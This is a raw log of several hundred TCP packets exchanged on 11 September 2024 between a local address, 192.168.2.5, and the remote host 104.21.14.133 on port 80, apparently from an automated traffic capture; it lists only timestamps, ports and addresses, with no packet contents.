Sep 11, 2024 18:23:51.812433004 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812469006 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812582970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812588930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812592983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812602043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812607050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812609911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812613010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812618017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812624931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812628984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812634945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812638044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812642097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812647104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812650919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812655926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812659979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812663078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812669039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812674046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812676907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812680960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812685013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812688112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812691927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812696934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812701941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812705994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812710047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812721014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812724113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812726974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812731981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812735081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812736034 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812736034 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812740088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812746048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812747002 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812747002 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812747002 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812747002 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812748909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812767982 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812824965 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.813072920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.813077927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.813081026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.813091040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.813095093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.813097954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.813178062 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.813178062 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.933264971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933269978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933274031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933382034 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.933463097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933600903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933604002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933608055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933679104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933681965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933686018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933695078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933697939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933717012 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.933717012 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.933729887 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.933736086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933739901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933743000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933753014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933756113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933826923 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.933871031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933873892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933877945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933881998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933885098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933888912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933916092 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.933926105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933929920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933933973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933938980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933942080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933945894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933949947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933950901 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.933953047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933958054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933983088 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.933991909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.933995962 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.934022903 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.934039116 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.991269112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.991309881 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.098222971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098232031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098238945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098242998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098247051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098413944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.098715067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098718882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098722935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098731995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098800898 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.098835945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098839998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098843098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098851919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098855972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098859072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098864079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098866940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098871946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098890066 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.098906994 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.098932981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098937988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098941088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098943949 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.098951101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098953962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098958015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098963022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098965883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098968983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.098974943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099078894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099082947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099086046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099096060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099098921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099102974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099107027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099111080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099116087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099121094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099128962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099131107 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099131107 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099131107 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099132061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099138975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099142075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099145889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099150896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099153996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099159002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099175930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099179029 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099179029 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099179983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099183083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099193096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099198103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099201918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099205017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099210978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099215031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099219084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099226952 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099226952 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099255085 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099318981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099323034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099328041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099338055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099340916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099344969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099349022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099407911 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099407911 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099442959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099447012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099451065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099459887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099462986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099467039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099472046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099476099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099481106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099492073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099494934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099505901 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099523067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099526882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099530935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099540949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099540949 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099545002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099549055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099554062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099556923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099561930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099570990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099574089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099577904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099585056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099598885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099607944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099612951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099621058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.099623919 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099623919 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099623919 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.099663973 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.148087025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148094893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148101091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148114920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148133993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148138046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148145914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148152113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148155928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148159981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148165941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148169994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148174047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148180008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148184061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148189068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148195028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148200035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148204088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148216009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148219109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148225069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.148478985 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.150533915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.150540113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.150543928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.150556087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.150559902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.150564909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.150572062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.150577068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.150582075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.150595903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.150599957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.150805950 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.150805950 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.217839956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217848063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217880964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217885971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217890024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217895031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217900991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217904091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217907906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217912912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217919111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217922926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217932940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217936993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217940092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217943907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217948914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217952013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217956066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217961073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217964888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217969894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217976093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217978954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217983007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217988014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217991114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.217997074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218044996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218049049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218053102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218058109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218060970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218065023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218070030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218153954 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218156099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218163013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218167067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218172073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218177080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218180895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218185902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218192101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218197107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218200922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218213081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218215942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218219995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218225956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218230963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218235016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218245029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218280077 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218280077 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218280077 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218280077 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218280077 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218318939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218323946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218327999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218338013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218342066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218346119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218352079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218355894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218360901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218372107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218375921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218378067 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218378067 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218398094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218401909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218405962 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218416929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218421936 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218432903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218436003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218440056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218445063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218447924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218451977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218458891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218462944 CEST	80	49710	104.21.14.133	192.168.2.5
